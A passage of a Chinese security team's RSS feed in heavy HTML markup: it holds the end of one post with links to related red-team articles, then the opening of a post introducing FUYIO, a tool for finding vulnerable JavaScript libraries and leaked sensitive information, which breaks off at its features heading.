100%;background: rgb(255, 255, 255);border-radius: 13px;border-width: 1px;border-style: solid;border-color: rgb(45, 133, 224);overflow-wrap: break-word !important;box-sizing: border-box !important;"><div data-mid="" mpa-from-tpl="t" style="padding-right: 24px;padding-left: 24px;max-width: 100%;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;border-radius: 11px;border-width: 1px;border-style: dotted;border-color: rgb(45, 133, 224);text-align: center;overflow-wrap: break-word !important;box-sizing: border-box !important;"><p data-mid="" style="max-width: 100%;font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(45, 133, 224);line-height: 22px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf="">往期推荐</span></p></div></div></div><div data-mid="" mpa-from-tpl="t" style="margin-bottom: 0px;max-width: 100%;font-size: 16px;white-space: normal;display: flex;justify-content: flex-start;align-items: center;flex-direction: column;overflow-wrap: break-word !important;box-sizing: border-box !important;"><div data-mid="" mpa-from-tpl="t" style="max-width: 100%;width: 474px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><div data-mid="" mpa-from-tpl="t" style="padding: 14px 8px 2px;max-width: 100%;width: 474px;background: rgb(255, 255, 255);border-radius: 5px;border-width: 1px;border-style: solid;border-color: rgb(74, 138, 218);overflow-wrap: break-word !important;box-sizing: border-box !important;"><div data-mid="" mpa-from-tpl="t" style="padding: 3px;max-width: 100%;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;width: 456px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><div data-mid="" mpa-from-tpl="t" style="padding-right: 12px;padding-left: 12px;max-width: 100%;width: 450px;text-align: center;overflow-wrap: break-word !important;box-sizing: border-box !important;"><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247516589&amp;idx=1&amp;sn=107da3b45e88255f240504d033ebde7f&amp;chksm=ce5da3ccf92a2adab0511bd798570d967cd4b0b7d7528f2f17163f5ed77e4dd7a02ac17c39d7&amp;scene=21#wechat_redirect" textvalue="TscanPlus-一款红队自动化‍工具" data-itemshowtype="0" linktype="text" data-linktype="2">TscanPlus-一款红队自动化工具</a></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247499902&amp;idx=1&amp;sn=59cba8d980b4ecb0deefff99edaabd4d&amp;chksm=ce5de21ff92a6b09a8972a0144557b0099e443aa8e018b17151c816fc7f08f3615ecb22617fc&amp;scene=21#wechat_redirect" textvalue="潮影在线免杀平台上线了" data-itemshowtype="0" linktype="text" data-linktype="2">潮影在线免杀平台上线了</a></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247498466&amp;idx=1&amp;sn=085c15679436dedb06a179ca8d47951a&amp;chksm=ce5dd883f92a5195ef74ac517741f6d3da0da40b5501d72016e52cb70344904bb85b8aef65ba&amp;scene=21#wechat_redirect" textvalue="自动化渗透测试工具开发实践" data-itemshowtype="0" linktype="text" data-linktype="2">自动化渗透测试工具开发实践</a></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247492640&amp;idx=1&amp;sn=43b1991dc5628eab322923083fde8d70&amp;chksm=ce5dc641f92a4f57ffb18e2977644b1f977fcc5e0eccdf10956d3ae4ce70dc95024500631e89&amp;scene=21#wechat_redirect" textvalue="【红蓝对抗】利用CS进行内网横向" data-itemshowtype="0" linktype="text" data-linktype="2">【红蓝对抗】利用CS进行内网横向</a></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247498344&amp;idx=1&amp;sn=3679330363ff6890166b09f6a502f769&amp;chksm=ce5dd809f92a511f6066fcbb12fb5c1dc8c2642e4e2690dad64d76cc6f9247eae356d16f5810&amp;scene=21#wechat_redirect" textvalue="一个Go版(更强大)的TideFinger" data-itemshowtype="0" linktype="text" data-linktype="2">一个Go版(更强大)的TideFinger</a></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247499823&amp;idx=1&amp;sn=065ffeae6bd02fff922cfb12c5a0f4df&amp;chksm=ce5de24ef92a6b58f709260b691e6b36e4a53aac00d3022946302b8e638696ed55c70e13e16f&amp;scene=21#wechat_redirect" textvalue="SRC资产导航监测平台Tsrc上线了" data-itemshowtype="0" linktype="text" data-linktype="2">SRC资产导航监测平台Tsrc上线了</a></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="max-width: 100%;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;font-size: 14px;text-align: center;white-space: normal;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247506056&amp;idx=1&amp;sn=ad6dd23f58f5fd8ce899a1e292f5b685&amp;chksm=ce5dfae9f92a73ff4f14c812436cb5bfecb29db04eada11c409e946d5338c82a92bcaa425736&amp;scene=21#wechat_redirect" textvalue="新潮信息-Tide安全团队2022年度总结" data-itemshowtype="0" linktype="text" data-linktype="2">新潮信息-Tide安全团队2022年度总结</a></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247498965&amp;idx=1&amp;sn=655548831da6808a020ad07294a92e60&amp;chksm=ce5ddeb4f92a57a283d5692c246e54655319ab0d09f6403e354300a2777cda6ae4c787631ab3&amp;scene=21#wechat_redirect" textvalue="记一次实战攻防(打点-Edr-内网-横向-Vcenter)" data-itemshowtype="0" linktype="text" data-linktype="2">记一次实战攻防(打点-Edr-内网-横向-Vcenter)</a></span></p></div></div></div></div></div><div draggable="false" style="margin-bottom: 0px;max-width: 100%;white-space: normal;overflow: hidden;color: rgb(0, 0, 0);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;text-align: start;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><div style="max-width: 100%;display: flex;justify-content: center;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><p style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><span leaf=""><img style="width: 37px;display: block;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;" class="rich_pages wxw-img" data-ratio="1.0810810810810811" data-type="gif" data-w="37" src="https://wechat2rss.xlab.app/img-proxy/?k=a96b63a4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FrTicZ9Hibb6RWbGNtVfIZbm2rmGO4hQDzQUrLN62vEGlA4fPmib5utUAp9gbQicb6FC82RjsVI5vx7wEc9yAAiaFEoQ%2F640%3Fwx_fmt%3Dgif"/></span></p></div></div><div style="margin-bottom: 0px;max-width: 100%;box-sizing: border-box;white-space: normal;font-size: 16px;overflow-wrap: break-word !important;"><div powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;text-align: center;justify-content: center;display: flex;flex-flow: row nowrap;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;display: inline-block;width: 520.195px;vertical-align: top;align-self: flex-start;flex: 0 0 auto;overflow-wrap: break-word !important;"><div powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;justify-content: center;display: flex;flex-flow: row nowrap;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;display: inline-block;vertical-align: top;width: 104.039px;align-self: flex-start;flex: 0 0 auto;overflow-wrap: break-word !important;"><div powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;width: 2em;display: inline-block;vertical-align: middle;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;border-width: 1px;border-style: dashed;border-color: rgb(138, 189, 143);width: 2em;height: 2em;float: left;line-height: 2em;font-size: 21px;overflow-wrap: break-word !important;"><p style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="">E</span></p></div></div></div></div><div style="max-width: 100%;box-sizing: border-box;display: inline-block;vertical-align: top;width: 104.039px;align-self: flex-start;flex: 0 0 auto;overflow-wrap: break-word !important;"><div powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;width: 2em;display: inline-block;vertical-align: middle;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;border-width: 1px;border-style: dashed;border-color: rgb(138, 189, 143);width: 2em;height: 2em;float: left;line-height: 2em;font-size: 21px;overflow-wrap: break-word !important;"><p style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="">N</span></p></div></div></div></div><div style="max-width: 100%;box-sizing: border-box;display: inline-block;vertical-align: top;width: 104.039px;align-self: flex-start;flex: 0 0 auto;overflow-wrap: break-word !important;"><div powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;width: 2em;display: inline-block;vertical-align: middle;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;border-width: 1px;border-style: dashed;border-color: rgb(138, 189, 143);width: 2em;height: 2em;float: left;line-height: 2em;font-size: 21px;overflow-wrap: break-word !important;"><p style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="">D</span></p></div></div></div></div></div></div></div><div draggable="false" data-tools-id="47164" style="max-width: 100%;overflow: hidden;color: rgb(0, 0, 0);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: start;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><div style="max-width: 100%;display: flex;flex-direction: column;align-items: center;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><p style="padding: 10px 15px;max-width: 100%;border-width: 1px;border-style: solid;border-color: rgb(1, 0, 70);background-color: rgb(199, 221, 253);color: rgb(0, 0, 70);font-size: 14px;line-height: 14px;font-family: 思源黑体;letter-spacing: 1px;transform: rotate(0deg);overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><strong style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf="">Tide团队产品及服务</span></strong></p><div style="margin-top: -15px;padding: 35px 15px 20px;max-width: 100%;border-width: 1px;border-style: solid;border-color: rgb(1, 0, 70);overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><p style="max-width: 100%;color: rgb(0, 0, 70);font-size: 14px;line-height: 1.75;font-family: 思源黑体;letter-spacing: 1px;text-align: justify;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><strong style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf="">团队自研平台</span></strong><span leaf="">：潮汐在线指纹识别平台 | 潮听漏洞情报平台 | 潮巡资产管理与威胁监测平台 | 潮汐网络空间资产测绘 | 潮声漏洞检测平台 | 在线免杀平台 | CTF练习平台 | 物联网固件检测平台 | SRC资产监控平台  | ......</span></p><p style="max-width: 100%;color: rgb(0, 0, 70);font-size: 14px;line-height: 1.75;font-family: 思源黑体;letter-spacing: 1px;text-align: justify;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><strong style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf="">技术分享方向</span></strong><span leaf="">:Web安全 | 红蓝对抗 | 移动安全 | 应急响应 | 工控安全 | 物联网安全 | 密码学 | 人工智能 | ctf 等方面的沟通及分享</span></p><p style="max-width: 100%;color: rgb(0, 0, 70);font-size: 14px;line-height: 1.75;font-family: 思源黑体;letter-spacing: 1px;text-align: justify;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><strong style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf="">团队知识wiki</span></strong><span leaf="">：红蓝对抗 | 漏洞武器库 | 远控免杀 | 移动安全 | 物联网安全 | 代码审计 | CTF | 工控安全 | 应急响应 | 人工智能 | 密码学 | CobaltStrike | 安全测试用例 | ......</span></p><p style="max-width: 100%;color: rgb(0, 0, 70);font-size: 14px;line-height: 1.75;font-family: 思源黑体;letter-spacing: 1px;text-align: justify;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><strong style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf="">团队网盘资料</span></strong><span leaf="">：安全法律法规 | 安全认证资料 | 代码审计 | 渗透安全工具 | 工控安全工具 | 移动安全工具 | 物联网安全 | 其它安全文库合辑  | ......</span></p></div></div></div></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="https://wx.zsxq.com/group/15525258451582">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=6fb08f15&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg2NTA4OTI5NA%3D%3D%26mid%3D2247521874%26idx%3D1%26sn%3D2e8cbc1d4780acb5ce5f9299dfeeca67">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 11 Dec 2025 16:57:00 +0800</pubDate>
    </item>
    <item>
      <title>【扶摇(FUYIO)】一款JS漏洞检测与敏感信息挖掘工具</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247521847&amp;idx=1&amp;sn=328e276d80732b0cb05e73567d3b4a96</link>
      <description>扶摇一款JS漏洞检测与敏感信息,能识别网站引用的JS库及其版本，并匹配 CVE漏洞数据库，输出风险详情及利用方式。</description>
      <content:encoded><![CDATA[<p>
原创 <span>swordlover</span> <span>2025-11-18 17:00</span> <span style="display: inline-block;">山东</span>
</p>




<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=e4c324e5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FrTicZ9Hibb6RVRicHcSMT2vVYG6qpowk9ycp1pibAG8RdEnWDJ3rrN2V3lialxltQ8tVmaTyPTVMVoWhfxfbsFl4ibFg%2F0%3Fwx_fmt%3Djpeg"/></p>

<p>扶摇一款JS漏洞检测与敏感信息,能识别网站引用的JS库及其版本，并匹配 CVE漏洞数据库，输出风险详情及利用方式。</p>

<div data-mpa-template="t" mpa-from-tpl="t" style="margin-bottom: 0px;"><div data-mid="" mpa-from-tpl="t"><div data-mid="" mpa-from-tpl="t"><div data-mpa-template="t" mpa-from-tpl="t" data-mpa-powered-by="yiban.io" style="margin-bottom: 0px;display: flex;justify-content: center;"><div data-mid="" mpa-from-tpl="t" style="padding-right: 10px;padding-left: 10px;width: 578px;"><div data-mid="" mpa-from-tpl="t" style="width: 558px;display: flex;flex-direction: column;"><p data-mid="" mpa-from-tpl="t" style="margin-bottom: -11px;margin-left: -7px;width: 21px;height: 18px;display: flex;justify-content: center;align-items: center;align-self: flex-start;z-index: 1;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.8571428571428571" data-w="42" style="height: auto !important;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=992d3ad3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FDuibU3GqmxVmRsdItbBVRKegNHicHQvAHDdZsGpLVU7touSU1AU1twHTfRjG3Vu5aUh0RnPPllfVUhs4qdWF5QYQ%2F640%3Fwx_fmt%3Dpng"/></span></p><div data-mid="" mpa-from-tpl="t" style="width: 558px;background: rgb(255, 145, 1);transform: rotate(-3deg) scale(0.9);"><div data-mid="" mpa-from-tpl="t" style="width: 558px;transform: rotate(3deg) scale(1.1);background: rgb(255, 252, 227);border-width: 1px;border-style: solid;border-color: rgb(246, 128, 31);"><div data-mid="" mpa-from-tpl="t" style="padding: 14px 11px 13px 12px;width: 556px;text-align: left;"><p data-mid="" mpa-is-content="t" style="font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(62, 62, 62);line-height: 26px;word-break: break-word;"><span leaf="">声明：Tide安全团队原创文章，转载请声明出处！文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用，任何人不得将其用于非法用途给予盈利等目的，否则后果自行承担！</span></p></div></div></div><p data-mid="" mpa-from-tpl="t" style="margin-top: -45px;margin-right: -5px;margin-bottom: 8px;width: 46px;height: 42px;display: flex;justify-content: center;align-items: center;align-self: flex-end;z-index: 1;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.8936170212765957" data-w="94" style="height: auto !important;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=94bb99ce&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9zYJrD2VibHmqgf4y9Bqh9nDynW5fHvgbgkSGAfRboFPuCGjVoC3qMl6wlFucsx3Y3jt4gibQgZ6LxpoozE0Tdow%2F640%3Fwx_fmt%3Dpng"/></span></p></div></div></div><div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 10px;padding-right: 10px;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, &#39;Microsoft YaHei&#39;, PingFangSC-regular, serif;font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;word-spacing: 0em;letter-spacing: 0em;word-break: break-word;overflow-wrap: break-word;text-align: left;" data-pm-slice="0 0 []"><blockquote style="margin-top: 20px;margin-bottom: 20px;margin-left: 0px;margin-right: 0px;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;border-top-style: none;border-bottom-style: none;border-left-style: solid;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgb(130, 127, 196);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;background-attachment: scroll;background-clip: border-box;background-color: rgba(112, 103, 166, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;display: block;overflow-x: auto;overflow-y: auto;"><p style="text-indent: 0em;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;margin-top: 0px;margin-right: 0px;margin-bottom: 0px;margin-left: 0px;"><span leaf="">大鹏一日同风起，扶摇直上九万里。  -- -- 李白</span></p></blockquote><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">🚨 免责声明：请勿用于非法用途，仅限授权测试！ 扶摇(FUYIO)：一款内网可用的JS漏洞检测与敏感信息挖掘工具</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100038134" data-ratio="0.49722222222222223" data-type="png" data-w="1080" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=0436914f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RWxDqxdzfia5rZO0l2LMWtJnKnwKklfWAnvGBKyFXgRZtpx75Gl5OvSnEeub4c6FB0nWXtvj2xjiaNQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 20px;color: rgb(255, 255, 255);background-color: rgb(130, 127, 196);line-height: 1.5em;letter-spacing: 0em;padding-top: 10px;padding-bottom: 10px;padding-left: 10px;padding-right: 10px;align-items: center;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 30px;border-top-right-radius: 30px;border-bottom-left-radius: 30px;border-bottom-right-radius: 30px;box-shadow: none;display: flex;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: center;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">一、为什么想做这样一款工具</span></span></h1><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">在之前的工作中，尤其是在一些特殊的网络环境下，经常遇到想要的浏览器插件不方便拷贝或者无法使用的情况，如FindSomething、wappalyzer、retire,js等，没有了这种半自动工具，但是又不想去手翻JS找漏洞和敏感信息泄露（因为究极懒），就打算搞这么一款工具。</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100038135" data-ratio="0.9423076923076923" data-type="png" data-w="156" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=e07d7505&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RWxDqxdzfia5rZO0l2LMWtJn3Hj6tLmKLnRyU4TX9Zicm4lZCE17y7FKWJNNtDrfk5vRicnGlV6HxDDw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 20px;color: rgb(255, 255, 255);background-color: rgb(130, 127, 196);line-height: 1.5em;letter-spacing: 0em;padding-top: 10px;padding-bottom: 10px;padding-left: 10px;padding-right: 10px;align-items: center;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 30px;border-top-right-radius: 30px;border-bottom-left-radius: 30px;border-bottom-right-radius: 30px;box-shadow: none;display: flex;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: center;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">二、核心功能介绍</span></span></h1><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 